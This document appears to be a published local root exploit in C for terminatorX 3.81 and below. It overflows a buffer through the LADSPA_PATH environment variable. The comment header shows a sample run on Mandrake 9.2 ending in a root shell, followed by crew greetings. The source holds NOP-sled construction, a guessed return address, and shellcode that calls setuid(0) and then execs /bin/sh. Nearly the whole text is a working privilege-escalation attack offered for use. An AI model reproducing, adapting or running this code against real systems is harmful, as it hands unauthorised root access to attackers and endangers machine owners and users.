Local root exploit for terminatorX version 3.81 and below that makes use of LADSPA_PATH environment variable vulnerability.
4f35813134f00f905885cf87adaabd4c29fb3fb47e5d26036019542fc4d90a1a
/*
Local terminatorX local root exploit
Using LADSPA_PATH enviroment variable vulnerability
As discovered and explained by c0wboy (www.0x333.org), thanks for spotting the bugs.
Explained here --> http://packetstormsecurity.nl/filedesc/outsiders-terminatorX-001.txt.html
*note i have seen other exploits using the switch vulns , but not the env variable.
[rza@shoalin buffs]$ ./FBHterminator 2000
**********************************************
Local TerminatorX Root Exploit
Coded By Bobby of FBH
Using Ret at --> 0xbfffdad8
**********************************************
Spawing Shell....
terminatorX Release 3.81 - Copyright (C) 1999-2003 by Alexander König
terminatorX comes with ABSOLUTELY NO WARRANTY - for details read the license.
+ tX_warning: engine_thread_entry() - engine has no realtime priority scheduling.
ALSA lib seq_hw.c:446:(snd_seq_hw_open) open /dev/snd/seq failed: No such file or directory
* tX_error: tX_midiin(): failed to open the default sequencer device.
/home/rza/.terminatorXrc:60: error: Premature end of data in tag midi_connections line 59
^
/home/rza/.terminatorXrc:60: error: Premature end of data in tag terminatorXrc line 6
^
tX: err: Error parsing terminatorXrc.
tX: Failed loading terminatorXrc - trying to load old binary rc.
* tX_error: tX: Error: couldn't access directory "1À1Û°Í1ÀPh//shh/binãPSá1Ò1À°
Í1À1Û°ÍØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿
ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚØÚÿ¿ØÚÿ¿ØÚÿ¿Ø
ÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿Ø
ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚØÚÿ¿ØÚÿ¿ØÚÿ¿Ø
ÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿Ø
ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚØÚÿ¿ØÚÿ¿ØÚÿ¿Ø
¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚÿ¿ØÚØÚÿ¿ØÚÿ¿ØÚÿ¿
sh-2.05b#
*NOTE -- offset 2000 works , tested on Mandrake 9.2 :)
And Now for some Fun and greetz to my boyz...
GREETZ and SHOUTZ to : All the FBH crew : Abunasar , bobby(hey thats me), numan, the-past,
All the USG crew : rD , ShellCode, inkubus, LinuxLover
All the AIC crew : attic , mrgreat , others..
Other Greetz To: Hein , johan , Dj-king , Kafka , hyperd0t ,satanic souls,
hB, SecureT,wazzabi,c1sco,coredump_,BlooDMASK and everyone in #usg channel
Email --> FBHowns@hushmail.com
coded by bobby of FBH
thank you
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BINARY "/usr/local/bin/terminatorX" //default path
#define BUFFERSIZE 5100 // why oh why?
#define NOP 0x90
/*shellcode from Uhagr.org */
char shellcode [] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long getesp()
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
char buff[BUFFERSIZE];
int ret , i,*bob,j;
if(argc < 2) {
ret = getesp();
}
else {
ret = getesp() - atoi(argv[1]);
}
printf("\n**********************************************\n");
printf("\tLocal TerminatorX Root Exploit\n");
printf("\tCoded By Bobby of FBH\n");
printf("\tUsing Ret at --> 0x%x\n", ret);
printf("\n**********************************************\n\n");
printf("Spawing Shell....\n\n");
sleep(2);
bob = (int *)(buff);
//fill up buffer with the ret
for (i = 0; i < BUFFERSIZE - 1; i += 4)
*bob++ = ret;
*bob=0x0;
//padding the first half with 0x90
for (i = 0; i < (BUFFERSIZE - 1) / 2; i++)
buff[i] = NOP;
//placing shellcode in prepared buffer
for (j = 0; j < strlen(shellcode); j++)
buff[i++] = shellcode[j];
setenv("LADSPA_PATH",buff,1);
execl(BINARY, BINARY, NULL);
perror("execl");
}